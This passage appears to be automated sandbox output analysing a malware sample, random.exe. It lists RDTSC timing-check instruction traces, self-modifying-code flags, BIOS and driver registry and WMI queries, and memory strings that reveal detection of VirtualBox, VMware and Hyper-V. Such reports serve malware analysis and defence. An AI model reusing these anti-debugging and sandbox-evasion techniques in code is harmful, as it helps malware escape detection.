Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C09F8 second address: 49C09FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C09FC second address: 49C0A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0A02 second address: 49C0A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0A08 second address: 49C0A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0A50 second address: 49B001A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F417CDB1D50h 0x00000009 adc ecx, 668541B8h 0x0000000f jmp 00007F417CDB1D4Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F417CDB1D58h 0x0000001b sbb esi, 2D83FC18h 0x00000021 jmp 00007F417CDB1D4Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a retn 0004h 0x0000002d nop 0x0000002e sub esp, 04h 0x00000031 xor ebx, ebx 0x00000033 cmp eax, 00000000h 0x00000036 je 00007F417CDB1EAFh 0x0000003c mov dword ptr [esp], 0000000Dh 0x00000043 call 00007F4181612E05h 0x00000048 mov edi, edi 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F417CDB1D56h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B001A second address: 49B0046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F417D1BB416h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 movzx esi, dx 0x00000018 mov al, dh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0046 second address: 49B006F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c call 00007F417CDB1D51h 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B01C4 second address: 49B01D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F417D1BB40Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B01D4 second address: 49B01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B01D8 second address: 49B01FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F417D1BB413h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B01FA second address: 49B0200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0200 second address: 49B0204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0204 second address: 49B021B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B021B second address: 49B0231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417D1BB411h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0231 second address: 49B0237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0237 second address: 49B0266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB413h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F417D1BB410h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0266 second address: 49B026C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B026C second address: 49B028C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB40Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F417D1BB5EAh 0x0000000f pushad 0x00000010 movzx eax, dx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B028C second address: 49B0290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0290 second address: 49B0294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0294 second address: 49B02AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea ecx, dword ptr [ebp-14h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 mov esi, 5AEBA5EFh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B039C second address: 49B03A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B03A1 second address: 49B0401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pushfd 0x0000000e jmp 00007F417CDB1D4Eh 0x00000013 sub al, FFFFFFE8h 0x00000016 jmp 00007F417CDB1D4Bh 0x0000001b popfd 0x0000001c pop ecx 0x0000001d popad 0x0000001e jg 00007F41EF03FDF6h 0x00000024 jmp 00007F417CDB1D4Fh 0x00000029 js 00007F417CDB1DB7h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov bx, 7206h 0x00000036 push edi 0x00000037 pop esi 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0401 second address: 49B04D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB418h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c pushad 0x0000000d jmp 00007F417D1BB40Eh 0x00000012 mov esi, 6CC00331h 0x00000017 popad 0x00000018 jne 00007F41EF44946Ch 0x0000001e pushad 0x0000001f push esi 0x00000020 pushfd 0x00000021 jmp 00007F417D1BB419h 0x00000026 jmp 00007F417D1BB40Bh 0x0000002b popfd 0x0000002c pop esi 0x0000002d mov si, dx 0x00000030 popad 0x00000031 mov ebx, dword ptr [ebp+08h] 0x00000034 pushad 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F417D1BB417h 0x0000003c xor ax, 00AEh 0x00000041 jmp 00007F417D1BB419h 0x00000046 popfd 0x00000047 movzx eax, di 0x0000004a popad 0x0000004b mov cx, bx 0x0000004e popad 0x0000004f lea eax, dword ptr [ebp-2Ch] 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 pushad 0x00000056 popad 0x00000057 pushfd 0x00000058 jmp 00007F417D1BB40Eh 0x0000005d sub eax, 4C152D58h 0x00000063 jmp 00007F417D1BB40Bh 0x00000068 popfd 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B04D6 second address: 49B04DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B04DC second address: 49B04E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B04E0 second address: 49B0523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F417CDB1D4Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 mov eax, 3C059DCDh 0x00000017 mov di, si 0x0000001a popad 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F417CDB1D4Ch 0x00000025 sub al, 00000018h 0x00000028 jmp 00007F417CDB1D4Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0523 second address: 49B053B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F417D1BB414h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B053B second address: 49B0584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F417CDB1D59h 0x00000011 nop 0x00000012 jmp 00007F417CDB1D4Eh 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F417CDB1D4Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0584 second address: 49B058A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B058A second address: 49B0590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0590 second address: 49B0594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0594 second address: 49B05E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F417CDB1D4Bh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F417CDB1D54h 0x00000019 adc ch, FFFFFFF8h 0x0000001c jmp 00007F417CDB1D4Bh 0x00000021 popfd 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0612 second address: 49B0618 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0618 second address: 49B061E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B061E second address: 49B0622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0622 second address: 49A0C40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007F417CDB1D50h 0x00000012 test esi, esi 0x00000014 jmp 00007F417CDB1D50h 0x00000019 je 00007F41EF03FD37h 0x0000001f xor eax, eax 0x00000021 jmp 00007F417CD8B47Ah 0x00000026 pop esi 0x00000027 pop edi 0x00000028 pop ebx 0x00000029 leave 0x0000002a retn 0004h 0x0000002d nop 0x0000002e sub esp, 04h 0x00000031 mov esi, eax 0x00000033 cmp esi, 00000000h 0x00000036 setne al 0x00000039 xor ebx, ebx 0x0000003b test al, 01h 0x0000003d jne 00007F417CDB1D47h 0x0000003f jmp 00007F417CDB1E83h 0x00000044 call 00007F41816038BFh 0x00000049 mov edi, edi 0x0000004b jmp 00007F417CDB1D4Dh 0x00000050 xchg eax, ebp 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F417CDB1D58h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49A0C40 second address: 49A0C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49A0C46 second address: 49A0CE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F417CDB1D4Ch 0x00000009 sbb ah, 00000038h 0x0000000c jmp 00007F417CDB1D4Bh 0x00000011 popfd 0x00000012 mov bx, si 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a call 00007F417CDB1D4Bh 0x0000001f mov edx, ecx 0x00000021 pop ecx 0x00000022 call 00007F417CDB1D55h 0x00000027 pushfd 0x00000028 jmp 00007F417CDB1D50h 0x0000002d adc ax, 73F8h 0x00000032 jmp 00007F417CDB1D4Bh 0x00000037 popfd 0x00000038 pop ecx 0x00000039 popad 0x0000003a xchg eax, ebp 0x0000003b jmp 00007F417CDB1D4Fh 0x00000040 mov ebp, esp 0x00000042 jmp 00007F417CDB1D56h 0x00000047 xchg eax, ecx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49A0CE3 second address: 49A0CE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49A0CE9 second address: 49A0D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F417CDB1D52h 0x00000009 sbb eax, 6407DFE8h 0x0000000f jmp 00007F417CDB1D4Bh 0x00000014 popfd 0x00000015 mov ax, BBDFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e pushad 0x0000001f movsx edi, ax 0x00000022 jmp 00007F417CDB1D4Ah 0x00000027 popad 0x00000028 movzx ecx, bx 0x0000002b popad 0x0000002c xchg eax, ecx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49A0D9A second address: 49A0D9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49A0D9E second address: 49A0DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49A0DA4 second address: 49A0DB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F417D1BB40Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0ACB second address: 49B0AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0AD1 second address: 49B0AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0AD5 second address: 49B0B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, 00000000h 0x0000000d jmp 00007F417CDB1D4Ch 0x00000012 mov dword ptr [ebp-1Ch], esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F417CDB1D57h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0B32 second address: 49B0B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0B36 second address: 49B0B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0B3C second address: 49B0B78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB412h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F417D1BB410h 0x00000010 je 00007F41EF42F227h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F417D1BB40Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49B0B78 second address: 49B0B7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0AAF second address: 49C0AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0AB3 second address: 49C0ACE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0ACE second address: 49C0AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F417D1BB414h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0AE6 second address: 49C0B04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F417CDB1D53h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0B04 second address: 49C0B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F417D1BB40Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0B33 second address: 49C0B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edx, 7C5BAFB0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 push edi 0x00000011 mov ch, 29h 0x00000013 pop edx 0x00000014 mov bh, ch 0x00000016 popad 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F417CDB1D4Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0B5B second address: 49C0B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0B61 second address: 49C0B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0B67 second address: 49C0BA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB418h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F417D1BB417h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0BA1 second address: 49C0BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0BA7 second address: 49C0BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0BAB second address: 49C0BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F417CDB1D55h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0BD6 second address: 49C0C0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c jmp 00007F417D1BB40Ch 0x00000011 call 00007F417D1BB412h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0C0E second address: 49C0C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 je 00007F41EF01F4E9h 0x0000000c pushad 0x0000000d push edx 0x0000000e mov eax, 2A811A8Fh 0x00000013 pop ecx 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 popad 0x00000019 cmp dword ptr [76C9459Ch], 05h 0x00000020 pushad 0x00000021 movsx ebx, ax 0x00000024 mov edi, eax 0x00000026 popad 0x00000027 je 00007F41EF0375A8h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F417CDB1D4Dh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0C4A second address: 49C0C7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007F417D1BB40Ch 0x00000010 mov cx, 4061h 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F417D1BB40Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0C7F second address: 49C0CDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 56h 0x00000005 mov ch, 5Ch 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F417CDB1D4Eh 0x00000014 sub eax, 4F6E5D58h 0x0000001a jmp 00007F417CDB1D4Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F417CDB1D58h 0x00000026 jmp 00007F417CDB1D55h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0CDE second address: 49C0CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0D89 second address: 49C0D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0D8D second address: 49C0D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 49C0D91 second address: 49C0D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 175B86 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 33D7D9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 328CCB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe	Special instruction interceptor: First address: 3A4DA7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\random.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\random.exe TID: 3316	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 7036	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\random.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: random.exe, 00000000.00000002.1319754123.00000000002F8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: random.exe, 00000000.00000002.1320736870.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: random.exe, 00000000.00000003.1150766846.000000000532D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
